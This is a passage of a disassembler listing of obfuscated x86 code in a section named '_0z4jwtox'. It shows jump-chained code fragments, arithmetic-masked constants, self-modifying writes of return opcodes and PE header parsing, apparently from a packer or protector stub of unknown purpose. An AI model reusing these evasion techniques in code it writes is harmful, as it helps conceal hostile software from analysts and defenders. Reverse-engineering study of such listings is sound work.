loc_756C5E:				; CODE XREF: _0z4jwtox:007541B5j
		push	ebx
		pushf
		push	49DAE688h
		pop	ebx
		rol	ebx, 0Eh
		jmp	loc_748637
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_202. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749980


loc_756C6F:				; CODE XREF: sub_749980+4E05j
		jmp	loc_74B602
; END OF FUNCTION CHUNK	FOR sub_749980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747290


loc_756C74:				; CODE XREF: sub_747290+7EA7j
		add	ecx, 0BC6C56E0h
		call	sub_74FA24
		adc	eax, edx
		jmp	sub_74A066
; END OF FUNCTION CHUNK	FOR sub_747290
; ---------------------------------------------------------------------------
		sub	edx, 2F2FA744h
		adc	eax, edx
		jmp	sub_74CA1D
; ---------------------------------------------------------------------------


loc_756C93:				; CODE XREF: _0z4jwtox:loc_74FA50j
		push	eax


loc_756C94:				; CODE XREF: _0z4jwtox:loc_7548E0j
		mov	eax, edx
		xchg	eax, [esp]
		push	offset sub_74FEE8
		jmp	locret_756236
; ---------------------------------------------------------------------------


loc_756CA3:				; CODE XREF: _0z4jwtox:00750C9Ej
		mov	esi, edi


loc_756CA5:				; CODE XREF: _0z4jwtox:007556A3j
		add	eax, 0DE7937D3h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_7484C7
		jmp	loc_74A964
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_756CBA:				; CODE XREF: sub_75364C-33DCj
		cmp	al, 0A4h
		jz	loc_745F4F
		jmp	loc_749408
; END OF FUNCTION CHUNK	FOR sub_75364C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749FEE


loc_756CC7:				; CODE XREF: sub_749FEE+7601j
		push	edx
		push	esi
		push	60198CA3h
		pop	esi
		sub	esi, 0D32CB62Ah
		or	esi, 0FA0FFF12h
		call	sub_756639
; END OF FUNCTION CHUNK	FOR sub_749FEE
; START	OF FUNCTION CHUNK FOR sub_745C55


loc_756CE0:				; CODE XREF: sub_745C55+1j
		push	7C33EBCCh
		pop	edx
		xor	edx, 4D41233Fh
		sub	edx, 192A7602h
		call	sub_752957


loc_756CF7:				; CODE XREF: sub_747C22:loc_747B69j
		jmp	loc_7488CA
; END OF FUNCTION CHUNK	FOR sub_745C55
; ---------------------------------------------------------------------------

locret_756CFC:				; CODE XREF: _0z4jwtox:0074F882j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E531


loc_756CFD:				; CODE XREF: sub_74E531+5C1Dj
		jmp	sub_7490F6
; END OF FUNCTION CHUNK	FOR sub_74E531
; ---------------------------------------------------------------------------


loc_756D02:				; DATA XREF: sub_74ED72+7o
		call	sub_756826
		push	offset sub_75701A
		jmp	loc_7521EE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75275A


loc_756D12:				; CODE XREF: sub_75275A-4C24j
		jmp	loc_7547D7
; END OF FUNCTION CHUNK	FOR sub_75275A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A96E


loc_756D17:				; CODE XREF: sub_74A96E-C49j
		popf
		cdq
		popf
		xor	edx, 0A27686E1h


loc_756D20:				; CODE XREF: sub_74A96E-C51j
		xor	eax, 0B0020BB7h
		add	eax, ebp
		call	sub_752D11
; END OF FUNCTION CHUNK	FOR sub_74A96E
; START	OF FUNCTION CHUNK FOR sub_74FA7E


loc_756D2D:				; CODE XREF: sub_74FA7E+5637j
		jmp	loc_74921E
; END OF FUNCTION CHUNK	FOR sub_74FA7E
; ---------------------------------------------------------------------------


loc_756D32:				; CODE XREF: _0z4jwtox:0075508Dj
		jmp	loc_749BA5
; ---------------------------------------------------------------------------
		mov	ds:off_41F0E0, eax
		call	sub_74B008
		test	ebp, ecx
		jmp	loc_75024E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748E45


loc_756D49:				; CODE XREF: sub_748E45:loc_74D7E9j
		add	eax, 0C181BD76h
		mov	eax, [eax]
		push	ebx
		pushf
		jmp	loc_751540
; END OF FUNCTION CHUNK	FOR sub_748E45

; =============== S U B	R O U T	I N E =======================================



sub_756D58	proc near		; DATA XREF: sub_7568F5+6o

; FUNCTION CHUNK AT 00749344 SIZE 00000005 BYTES

		lea	eax, loc_74E2C2
		mov	byte ptr [eax],	0C3h
		jmp	loc_749344
sub_756D58	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757151


loc_756D66:				; CODE XREF: sub_757151-8E8Ej
		mov	eax, [esp-8+arg_4]
		push	offset loc_7470C0
		jmp	sub_7508BD
; END OF FUNCTION CHUNK	FOR sub_757151
; ---------------------------------------------------------------------------


loc_756D73:				; CODE XREF: _0z4jwtox:00752276j
		retn
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_753D0E
		jmp	loc_74EDD2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75479F


loc_756D84:				; CODE XREF: sub_75479F+Fj
		jmp	loc_7450BB
; END OF FUNCTION CHUNK	FOR sub_75479F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_756D89:				; CODE XREF: sub_7473D1:loc_7451C9j
		jmp	loc_750901
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_756D8E:				; CODE XREF: sub_747736:loc_74DD9Bj
		mov	ebx, [ebx]
		add	edx, ebx
		pop	ebx
		add	eax, edx
		mov	eax, [eax]
		jmp	sub_75565F
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754CBF


loc_756D9C:				; CODE XREF: sub_754CBF:loc_74ACE6j
		xor	edi, 0C07BF3FEh


loc_756DA2:				; CODE XREF: _0z4jwtox:0074FB73j
		add	edi, ebp
		add	edi, 0A7E8C2C1h
		mov	edi, [edi]
		popf
		add	eax, edi
		pop	edi
		push	esi
		jmp	loc_74D134
; END OF FUNCTION CHUNK	FOR sub_754CBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7465D2


loc_756DB6:				; CODE XREF: sub_7465D2+66B4j
					; sub_7465D2+66BDj
		and	edi, 61D74E22h
		add	edi, 0BC8B904Ch
		add	edi, ebp
		add	edi, 42B225BAh
		mov	edi, [edi]
		xchg	edi, [esp+0]
		jmp	loc_74BE09
; END OF FUNCTION CHUNK	FOR sub_7465D2
; ---------------------------------------------------------------------------
		push	ecx
		push	2F0F719Eh
		pop	ecx
		and	ecx, 3DD94EC3h
		cmp	ecx, 0AD6B8AE1h
		jmp	loc_74FD1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_756DEC:				; CODE XREF: sub_747A94:loc_7543D9j
		sub	al, 99h
		push	0E093A646h
		pop	edx
		rol	edx, 1
		add	edx, 5ACFDCD4h
		rol	edx, 1Ah
		xor	edx, 8D363DA8h
		jmp	loc_7528F5
; END OF FUNCTION CHUNK	FOR sub_747A94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_756E0A:				; CODE XREF: sub_747AEC:loc_755F33j
		rol	eax, 0Ah
		push	edx
		push	60E487A2h
		pop	edx
		rol	edx, 0Ah
		sub	edx, 0B50A69FAh
		or	edx, 3C2623FDh
		jmp	loc_7477EF
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------


loc_756E28:				; CODE XREF: _0z4jwtox:0074EAB7j
		ja	loc_74729E
		not	ebx
; START	OF FUNCTION CHUNK FOR sub_7515AA


loc_756E30:				; CODE XREF: sub_7515AA:loc_7523FEj
		and	eax, 0AA09DA8Eh
		add	eax, 0F873C420h
		mov	eax, [eax]
		jmp	loc_757483
; END OF FUNCTION CHUNK	FOR sub_7515AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74698F


loc_756E43:				; CODE XREF: sub_74698F:loc_746249j
		jge	loc_74ACD7
; END OF FUNCTION CHUNK	FOR sub_74698F
; START	OF FUNCTION CHUNK FOR sub_750F2E


loc_756E49:				; CODE XREF: sub_750F2E+10j
		jmp	loc_755CB5
; END OF FUNCTION CHUNK	FOR sub_750F2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_756E4E:				; CODE XREF: sub_7561AB-106A6j
		jmp	loc_74D9C5
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------


loc_756E53:				; CODE XREF: _0z4jwtox:0075049Ej
		mov	esi, [ecx]
		pushf
		adc	eax, 3998E22Bh
		jmp	loc_74ACD4
; ---------------------------------------------------------------------------
		mov	[ecx], esi


loc_756E63:				; DATA XREF: .data:off_42D774o
		jmp	loc_752654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E7AE


loc_756E68:				; CODE XREF: sub_74E7AE:loc_748D7Fj
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]


loc_756E73:				; CODE XREF: sub_749980-222Cj
		add	eax, 18h
		mov	[ebp-10h], eax


loc_756E79:				; CODE XREF: sub_74AAC1:loc_7558FAj
		call	sub_7474F5


loc_756E7E:				; CODE XREF: sub_74A71A+7F35j
		jmp	loc_74ED14
; END OF FUNCTION CHUNK	FOR sub_74E7AE
; ---------------------------------------------------------------------------


loc_756E83:				; CODE XREF: _0z4jwtox:00748E9Ej
		jmp	nullsub_265
; ---------------------------------------------------------------------------


loc_756E88:				; DATA XREF: sub_746CC3+613Eo
		add	eax, [ebp-4]
		call	sub_750243
		cmp	eax, [ebp-8]
		call	sub_7450FC
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_756E98:				; CODE XREF: sub_74AAC1:loc_750EFCj
		mov	ecx, ebx
		xchg	ecx, [esp+0]
		push	0CA0F883h
		pop	ebx
		rol	ebx, 16h
		jmp	loc_748DEB
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74742A


loc_756EAB:				; CODE XREF: sub_74742A+FBB3j
		jno	loc_7544DE
		ror	edi, 2
		cdq
		sbb	ecx, 95E0D53Dh
		jmp	loc_755BF9
; END OF FUNCTION CHUNK	FOR sub_74742A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_756EC0:				; CODE XREF: sub_748A22+60DDj
		xor	edx, esi


loc_756EC2:				; CODE XREF: sub_748A22:loc_753630j
		push	eax
		lea	eax, dword_756684
		push	ebp
		mov	ebp, eax


loc_756ECC:				; CODE XREF: _0z4jwtox:0074F037j
		xchg	ebp, [esp+0Ch+var_C]
		push	eax
		push	offset loc_74EBA2
		jmp	nullsub_226
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------


loc_756EDA:				; CODE XREF: _0z4jwtox:00757865j
		shr	ebp, 0Eh


loc_756EDD:				; CODE XREF: _0z4jwtox:loc_749412j
		push	648A0BDBh
		pop	eax
		rol	eax, 7
		xor	eax, 0AACDC409h
		call	sub_746E93
		rol	eax, 13h
		jmp	loc_752FEB
; ---------------------------------------------------------------------------
		mov	ds:dword_41F060, eax
		lea	eax, nullsub_270
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_270

; =============== S U B	R O U T	I N E =======================================



sub_756F0D	proc near		; CODE XREF: sub_404D4C+9Fp
					; sub_4093C1+1B6p ...

; FUNCTION CHUNK AT 00747BB0 SIZE 00000005 BYTES

		push	offset sub_756FE2
		jmp	loc_747BB0
sub_756F0D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C0D


loc_756F17:				; CODE XREF: sub_748C0D:loc_74FFE3j
		pop	edx
		rol	edx, 1Ah
		or	edx, 89614E44h
		cmp	edx, 0D11E4E0Ch
		jmp	loc_7575D9
; END OF FUNCTION CHUNK	FOR sub_748C0D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_756F2D:				; CODE XREF: _0z4jwtox:00753838j
		jmp	sub_756A5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745C34


loc_756F32:				; CODE XREF: sub_745C34+E5F2j
		pushf


loc_756F33:				; CODE XREF: sub_745C34:loc_75421Bj
		sub	eax, 1A6F68D8h
		add	eax, 96FA0327h
		call	sub_746E93
		push	edx
		push	0BBAF60B4h
		pop	edx
		xor	edx, 4B0DDB50h
		jmp	loc_749A08
; END OF FUNCTION CHUNK	FOR sub_745C34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_756F56:				; CODE XREF: sub_74AAC1:loc_74C0D7j
		jz	loc_748C17
		jmp	loc_748E11
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
		push	edi
		jmp	sub_747379
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C3EB


loc_756F67:				; CODE XREF: sub_74C3EB:loc_74F571j
		jz	loc_750C69
		jmp	loc_74A0FB
; END OF FUNCTION CHUNK	FOR sub_74C3EB
; ---------------------------------------------------------------------------


loc_756F72:				; CODE XREF: _0z4jwtox:00752D86j
		pop	esi
		xchg	ebx, [ebp+0]
		sub	ebx, 0EBB5783Ch
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_756F7C:				; CODE XREF: sub_7557E7:loc_752D73j
		rol	ecx, 16h
		add	ecx, 0BCC063A8h
		jmp	loc_74F0C0
; END OF FUNCTION CHUNK	FOR sub_7557E7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_277. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752149


loc_756F8B:				; CODE XREF: sub_752149+7j
		jmp	sub_748C0D
; END OF FUNCTION CHUNK	FOR sub_752149
; ---------------------------------------------------------------------------


loc_756F90:				; DATA XREF: sub_750243+3800o
		jnz	loc_7451CE
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		shl	dword ptr [ebp-8], 8
		jmp	loc_749820
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750243


loc_756FA5:				; CODE XREF: sub_750243:loc_74DD79j
		mov	eax, [ebp+var_C]
		cmp	byte ptr [eax],	0
		jnz	loc_7451CE
		mov	eax, [ebp+var_4]
		jmp	loc_74CC7B
; END OF FUNCTION CHUNK	FOR sub_750243
; ---------------------------------------------------------------------------
		sub	ebp, ecx
		jmp	sub_7497F9
; ---------------------------------------------------------------------------
		cmp	edx, 0DF08818Ah
		jmp	loc_7561EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752520


loc_756FCB:				; CODE XREF: sub_752520+341Ej
		and	edx, ecx
		mov	ebx, [edx]
		shl	ebx, 9
		jmp	loc_74C499
; END OF FUNCTION CHUNK	FOR sub_752520
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74742A


loc_756FD7:				; CODE XREF: sub_74742A:loc_75106Ej
		test	ecx, 57C52832h
		jmp	loc_756EAB
; END OF FUNCTION CHUNK	FOR sub_74742A

; =============== S U B	R O U T	I N E =======================================



sub_756FE2	proc near		; DATA XREF: sub_756F0Do
		call	sub_756FF2
		jmp	ds:off_41F064
sub_756FE2	endp

; ---------------------------------------------------------------------------


loc_756FED:				; CODE XREF: _0z4jwtox:007493D3j
		jmp	loc_749A63

; =============== S U B	R O U T	I N E =======================================



sub_756FF2	proc near		; CODE XREF: _0z4jwtox:loc_748A78j
					; sub_756FE2p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007497E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074FDCF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074FDF5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00755C6C SIZE 00000023 BYTES

		pop	edx
		jnz	loc_74FDF5
		mov	eax, [esp+4+var_4]
		push	ecx
		jmp	loc_755C6C
sub_756FF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_746260
		jmp	loc_745E0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756826


loc_75700F:				; CODE XREF: sub_756826-9953j
		jnz	loc_747FB5
		jmp	loc_755E33
; END OF FUNCTION CHUNK	FOR sub_756826

; =============== S U B	R O U T	I N E =======================================



sub_75701A	proc near		; DATA XREF: _0z4jwtox:00756D07o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00752D42 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0075702E SIZE 00000018 BYTES

		push	3D5581EFh
		pop	eax
		rol	eax, 7
		and	eax, 0E020FE88h
		jmp	loc_752D42
sub_75701A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75701A


loc_75702E:				; CODE XREF: sub_75701A-42C0j
		pop	ecx
		and	ecx, 4B8A30DAh
		rol	ecx, 1Bh
		add	ecx, 30708C71h
		xchg	ecx, [esp+4+var_4]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_75701A
; ---------------------------------------------------------------------------
		shr	ecx, 3
		jmp	sub_7468F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7570B1


loc_75704E:				; CODE XREF: sub_7570B1-10FCj
		jl	loc_752611
; END OF FUNCTION CHUNK	FOR sub_7570B1
; START	OF FUNCTION CHUNK FOR sub_74E451


loc_757054:				; CODE XREF: sub_74E451+1447j
		jmp	loc_75238B
; END OF FUNCTION CHUNK	FOR sub_74E451
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C0C


loc_757059:				; CODE XREF: sub_747C0C+38DCj
		jmp	nullsub_230
; END OF FUNCTION CHUNK	FOR sub_747C0C
; ---------------------------------------------------------------------------
		and	eax, ecx
		sbb	edx, 0A1F902B9h
		jmp	loc_752611
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_75706B:				; CODE XREF: sub_747C22+ECEFj
		jz	loc_74D5D0
		jmp	loc_7494AD
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755148


loc_757076:				; CODE XREF: sub_755148:loc_755149j
		jnz	loc_7502E6
		mov	eax, [esp+4+var_4]
		push	edx
		push	edi
		push	64FEFAEAh
		pop	edi
		add	edi, 8E625C1Dh
		xor	edi, 0A6322846h
		jmp	loc_755AC5
; END OF FUNCTION CHUNK	FOR sub_755148
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755E40


loc_757098:				; CODE XREF: sub_755E40-D83Dj
		shr	ebp, 0Ch
		xor	edx, 0E21E0D36h
		pop	ebx
		jmp	loc_748A06
; END OF FUNCTION CHUNK	FOR sub_755E40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D4C5


loc_7570A7:				; CODE XREF: sub_74D4C5:loc_7551FFj
		mov	ecx, ebp
		pop	ebp


loc_7570AA:				; CODE XREF: _0z4jwtox:0074DD10j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_74D4C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_7570AC:				; CODE XREF: sub_746640+6E2j
		jmp	loc_746443
; END OF FUNCTION CHUNK	FOR sub_746640

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_7570B1	proc near		; CODE XREF: _0z4jwtox:00748504p
					; sub_74C3B3-2AF8j ...

; FUNCTION CHUNK AT 0074D61D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752611 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00755F9E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0075704E SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_755F9E
sub_7570B1	endp

; ---------------------------------------------------------------------------


loc_7570B9:				; CODE XREF: _0z4jwtox:0074C546j
		push	edx
		call	sub_746C25
		push	0E45B1409h
		pop	eax
		jmp	loc_7531ED

; =============== S U B	R O U T	I N E =======================================



sub_7570CA	proc near		; CODE XREF: sub_755DA4-DD13p
					; _0z4jwtox:007538A9j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00747E9B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A4C9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074B9E5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074D714 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074EF96 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0075516F SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	ecx, [esp-4+arg_0]
		call	sub_745715
		push	4309A0EAh
		jmp	loc_75516F
sub_7570CA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_7570E0	proc near		; CODE XREF: _0z4jwtox:loc_74AB1Bp
					; _0z4jwtox:0074D408j

; FUNCTION CHUNK AT 00746230 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074F079 SIZE 0000000F BYTES

		xchg	edi, [esp+0]
		pop	edi
		call	sub_754FC6
		mov	edx, 0A22F8A70h
		call	sub_74BA29
		mov	ds:dword_7575B8, eax
		call	sub_754FC6
		mov	edx, 0A2CD59D9h
		jmp	loc_74F079
sub_7570E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_757107:				; CODE XREF: _0z4jwtox:0074ABC1j
		mov	[ebp+0], ecx
		jg	loc_7481BA
		or	esi, ebp


loc_757112:				; CODE XREF: _0z4jwtox:loc_74ABA2j
		sub	eax, 7F66CB40h
		xor	eax, 127C2878h
		call	sub_746E93
		mov	ds:off_41F0C4, eax
		jmp	loc_74F083

; =============== S U B	R O U T	I N E =======================================



sub_75712E	proc near		; DATA XREF: sub_74C874-5EBFo

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074539A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074631E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00746487 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00747E43 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DBF6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074F8BF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007504BF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00754DCB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755979 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 007569D5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0075739A SIZE 0000000A BYTES

		push	ebx
		push	0F7880BB9h
		pop	ebx
		add	ebx, 0C0FCF4Ah
		jns	loc_7504BF


loc_757141:				; CODE XREF: sub_74ED5F+289Bj
		jmp	loc_746487
sub_75712E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749EC9


loc_757146:				; CODE XREF: sub_749EC9-1B2Ej
		jmp	nullsub_275
; END OF FUNCTION CHUNK	FOR sub_749EC9
; ---------------------------------------------------------------------------


loc_75714B:				; CODE XREF: _0z4jwtox:loc_750C97j
		push	edx
		jmp	loc_747BBD

; =============== S U B	R O U T	I N E =======================================



sub_757151	proc near		; CODE XREF: sub_7458BE+1p
					; _0z4jwtox:0074DF3Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0074728B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748AF3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A3D7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0074A763 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074B385 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0074E2C2 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0074E33B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00756D66 SIZE 0000000D BYTES

		xchg	esi, [esp-4+arg_0]
		pop	esi
		push	0FCC39325h
		pop	edx
		and	edx, 1EC65986h
		sub	edx, 0FD289A4Dh
		jmp	loc_74A763
sub_757151	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_75716C:				; CODE XREF: sub_746640+DAD1j
		mov	[ebx], edi
		xchg	esi, edx
		not	ebp
		or	edx, 0DB279CA9h
		sub	esi, 3CE4D8C6h
		jmp	loc_74BC2E
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_757183:				; CODE XREF: sub_7474B9:loc_7501FDj
		lea	eax, loc_74DDA5
		mov	byte ptr [eax],	0C3h
		jmp	loc_74DDA5
; END OF FUNCTION CHUNK	FOR sub_7474B9

; =============== S U B	R O U T	I N E =======================================



sub_757191	proc near		; CODE XREF: sub_4090ED+58p
					; sub_4090ED+6Fp ...
		call	sub_7571A1
		jmp	ds:off_41F0F4
sub_757191	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753F8B


loc_75719C:				; CODE XREF: sub_753F8B-C4B8j
		jmp	loc_755E64
; END OF FUNCTION CHUNK	FOR sub_753F8B

; =============== S U B	R O U T	I N E =======================================



sub_7571A1	proc near		; CODE XREF: _0z4jwtox:loc_748BF6j
					; sub_7457DD+A866j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007451C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074560F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 007490D0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074979B SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0074A833 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074B8D5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0074DB68 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074E709 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074FC6E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00750048 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0075272E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00754F67 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0075677A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00757893 SIZE 0000001A BYTES

		jz	loc_750048
		jmp	loc_7490D0
sub_7571A1	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_243. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_7571AD	proc near		; CODE XREF: _0z4jwtox:007542A0j
					; _0z4jwtox:007567E3p
		xchg	eax, [esp+0]
		pop	eax
		push	edx
sub_7571AD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_7571B2:				; CODE XREF: sub_748FA4:loc_755EEBj
		call	sub_74A5E8
		push	0B5C3FD7Eh
		pop	eax
		jmp	loc_756BAE
; END OF FUNCTION CHUNK	FOR sub_748FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C72


loc_7571C2:				; CODE XREF: sub_747C72+7E4Ej
		mov	ds:off_41F194, eax
		lea	eax, sub_75622B


loc_7571CE:				; CODE XREF: sub_747AEC+2B37j
		mov	byte ptr [eax],	0C3h
		jmp	loc_753E3B
; END OF FUNCTION CHUNK	FOR sub_747C72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75622B


loc_7571D6:				; CODE XREF: sub_75622Bj
		xchg	ecx, [esp+0]
		push	ecx
		pop	edx
		jmp	loc_753A6D
; END OF FUNCTION CHUNK	FOR sub_75622B

; =============== S U B	R O U T	I N E =======================================



sub_7571E0	proc near		; DATA XREF: sub_746E37+A557o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00746535 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074F655 SIZE 00000005 BYTES

		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		push	edi
		push	0CD0F294h
		pop	edi
		or	edi, 8E3C040Bh
		add	edi, 71786DCCh
		jmp	loc_74F655
sub_7571E0	endp

; ---------------------------------------------------------------------------


loc_7571FD:				; CODE XREF: _0z4jwtox:0074D1A5j
		mov	esi, [ecx]

; =============== S U B	R O U T	I N E =======================================



sub_7571FF	proc near		; CODE XREF: _0z4jwtox:00753ABEp
		xchg	eax, [esp+0]
		pop	eax
		mov	eax, ds:dword_74B938
		mov	[eax], ebx
sub_7571FF	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_7462FD


loc_75720A:				; CODE XREF: sub_7462FD:loc_754392j
		push	offset loc_7539D5
		jmp	nullsub_296
; END OF FUNCTION CHUNK	FOR sub_7462FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E693


loc_757214:				; CODE XREF: sub_74E693+13j
		jnz	loc_7554F2
		jmp	loc_749C65
; END OF FUNCTION CHUNK	FOR sub_74E693
